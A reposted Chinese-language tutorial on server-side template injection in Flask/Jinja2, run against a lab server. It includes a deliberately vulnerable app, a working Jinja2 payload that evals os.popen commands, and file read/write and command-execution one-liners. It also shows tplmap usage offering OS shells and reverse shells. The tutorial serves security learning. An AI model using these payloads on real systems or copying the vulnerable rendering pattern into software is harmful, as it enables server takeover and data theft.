SSTI-服務端模板注入漏洞


SSTI-服務端模板注入漏洞

原理

服務端模板注入是由於服務端接收了用戶的輸入,將其作為 Web 應用模板內容的一部分,在進行目標編譯渲染的過程中,執行了用戶插入的惡意內容,因而導致了敏感信息泄露、代碼執行、GetShell 等問題。

其影響范圍主要取決於模版引擎的復雜性。

模板引擎

模板引擎(這里特指用於Web開發的模板引擎)是為了使用戶界面與業務數據(內容)分離而產生的,它可以生成特定格式的文檔,用於網站的模板引擎就會生成一個標准的HTML文檔。

參考:https://baike.baidu.com/item/%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E/907667?fr=aladdin

img

Flask(Jinja2)服務端模板注入

Jinja2是用於Python的全功能模板引擎。它具有完整的unicode支持,一個可選的集成沙盒執行環境,已被廣泛使用並獲得BSD許可。 Jinja2由Django或Flask之類的Python Web框架使用。

Jinja官方網站:

https://jinja.palletsprojects.com/en/2.11.x/

實驗測試:

flask ssti漏洞的代碼:
from flask import Flask, request

from jinja2 import Template

 

app = Flask(__name__)

 

@app.route("/")

def index():

name = request.args.get('name', 'guest')

 

t = Template("Hello " + name)

return t.render()

 

if __name__ == "__main__":

訪問:http://192.168.81.128:8000/

img

傳入參數:?name={{6*7}},可以得到如下結果,說明存在SSTI漏洞。

img

在python里要執行系統命令需要import os模塊。

想要在模板中直接調用內置模塊 os,即需要在模板環境中對其注冊

需要在上面的代碼里加一句:

t.globals['os'] = os

如果沒有加這一句,直接使用os中的方法會報錯。

那么,如何在未注冊 os 模塊的情況下在模板中調用 popen() 函數執行系統命令呢?這就用到各種下划線函數了。

>>> [].__class__

<type 'list'>

>>> [].__class__.__base__

<type 'object'>

>>> [].__class__.__base__.__subclasses__()

class:用來查看變量所屬的類,根據前面的變量形式可以得到其所屬的類。

bases:用來查看類的基類,也可是使用數組索引來查看特定位置的值

subclasses():查看當前類的子類。直接用object.subclasses(),也會得到和一樣的結果。

img

由此可以訪問到很多其他模塊,os模塊自然也可以這樣訪問到。

訪問os模塊需要從warnings.catch_warnings模塊入手的。看一下catch_warnings在哪個位置。

>>> import warnings

>>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
img

當我們獲取了位置后,再用func_global看看該模塊有哪些global函數

>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()
img

這里能看到linecache,我們要訪問的os模塊就在這里,看看這個模塊的各種屬性:

>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__
img

接下來就可以使用os模塊了。

>>> [].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].system('id')
img
漏洞利用

獲取eval函數並執行任意python代碼的POC如下:

{% for c in [].__class__.__base__.__subclasses__() %}

{% if c.__name__ == 'catch_warnings' %}

{% for b in c.__init__.__globals__.values() %}

{% if b.__class__ == {}.__class__ %}

{% if 'eval' in b.keys() %}

{{ b['eval']('__import__("os").popen("id").read()') }}

{% endif %}

{% endif %}

{% endfor %}

{% endif %}

{% endfor %}

訪問如下鏈接:

 http://192.168.81.128:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D

得到執行結果:

img

查看/etc/passwd

img

xss:name參數的值直接通過get請求獲取,並未做任何的處理,可以直接注入xss代碼。

img

Python進行文件讀寫/命令執行的常用命令

//獲取基本類

''.__class__.__mro__[1]

{}.__class__.__bases__[0]

().__class__.__bases__[0]

[].__class__.__bases__[0]

object

//讀文件

().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()

object.__subclasses__()[40](r'C:\1.php').read()
img

//寫文件

().__class__.__bases__[0].__subclasses__()[40]('C:\\windows\\temp\\test.txt', 'w').write('2333')

object.__subclasses__()[40]('C:\\windows\\temp\\test.txt', 'w').write('2333')

img

//執行任意命令

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("dir").read()' )

object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ipconfig").read()' )
img

SSTI測試工具–Tplmap

GitHub:https://github.com/epinna/tplmap

幫助信息
C:\Users\hu1ge\Desktop\tplmap>cmd /k python2 tplmap.py -h

Usage: python tplmap.py [options]

 

Options:

-h, --help Show help and exit.

 

Target:

These options have to be provided, to define the target URL.

 

-u URL, --url=URL Target URL.

-X REQUEST, --re.. Force usage of given HTTP method (e.g. PUT).

 

Request:

These options have how to connect and where to inject to the target

URL.

 

-d DATA, --data=.. Data string to be sent through POST. It must be as

query string: param1=value1&param2=value2.

-H HEADERS, --he.. Extra headers (e.g. 'Header1: Value1'). Use multiple

times to add new headers.

-c COOKIES, --co.. Cookies (e.g. 'Field1=Value1'). Use multiple times to

add new cookies.

-A USER_AGENT, -.. HTTP User-Agent header value.

--proxy=PROXY Use a proxy to connect to the target URL

 

Detection:

These options can be used to customize the detection phase.

 

--level=LEVEL Level of code context escape to perform (1-5, Default:

1).

-e ENGINE, --eng.. Force back-end template engine to this value.

-t TECHNIQUE, --.. Techniques R(endered) T(ime-based blind). Default: RT.

 

Operating system access:

These options can be used to access the underlying operating system.

 

--os-cmd=OS_CMD Execute an operating system command.

--os-shell Prompt for an interactive operating system shell.

--upload=UPLOAD Upload LOCAL to REMOTE files.

--force-overwrite Force file overwrite when uploading.

--download=DOWNL.. Download REMOTE to LOCAL files.

--bind-shell=BIN.. Spawn a system shell on a TCP PORT of the target and

connect to it.

--reverse-shell=.. Run a system shell and back-connect to local HOST

PORT.

 

Template inspection:

These options can be used to inspect the template engine.

 

--tpl-shell Prompt for an interactive shell on the template

engine.

--tpl-code=TPL_C.. Inject code in the template engine.

 

General:

These options can be used to set some general working parameters.

 

--force-level=FO.. Force a LEVEL and CLEVEL to test.

--injection-tag=.. Use string as injection tag (default '*').

 

Example:

 

./tplmap -u 'http://www.target.com/page.php?id=1*'
模板注入測試
C:\Users\hu1ge\Desktop\tplmap>python2 tplmap.py -u "http://192.168.81.128:8000/?name=hu1ge"

[+] Tplmap 0.5

Automatic Server-Side Template Injection Detection and Exploitation Tool

 

[+] Testing if GET parameter 'name' is injectable

[+] Smarty plugin is testing rendering with tag '*'

[+] Smarty plugin is testing blind injection

[+] Mako plugin is testing rendering with tag '${*}'

[+] Mako plugin is testing blind injection

[+] Python plugin is testing rendering with tag 'str(*)'

[+] Python plugin is testing blind injection

[+] Tornado plugin is testing rendering with tag '{{*}}'

[+] Tornado plugin is testing blind injection

[+] Jinja2 plugin is testing rendering with tag '{{*}}'

[+] Jinja2 plugin has confirmed injection with tag '{{*}}'

[+] Tplmap identified the following injection point:

 

GET parameter: name   //注入參數:name

Engine: Jinja2    //使用的模板引擎

Injection: {{*}}    //注入方法

Context: text

OS: posix-linux

Technique: render

Capabilities:

 

Shell command execution: ok   //檢驗當前環境可使用的利用方法

Bind and reverse shell: ok

File write: ok

File read: ok

Code evaluation: ok, python code

 

[+] Rerun tplmap providing one of the following options:

 

--os-shell   在目標上運行shell

--os-cmd   執行shell命令

--bind-shell PORT   連接到目標端口的shell綁定

--reverse-shell HOST PORT   將shell發送回攻擊者的端口

--upload LOCAL REMOTE   將文件上載到服務器

--download REMOTE LOCAL   下載遠程文件
--os-cmd 執行命令
C:\Users\hu1ge\Desktop\tplmap>python2 tplmap.py -u "http://192.168.81.128:8000/?name=hu1ge" --os-cmd whoami
img

--os-shell 直接獲取交互式shell環境

C:\Users\hu1ge\Desktop\tplmap>python2 tplmap.py -u "http://192.168.81.128:8000/?name=hu1ge" --os-shell
img

參考鏈接:


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM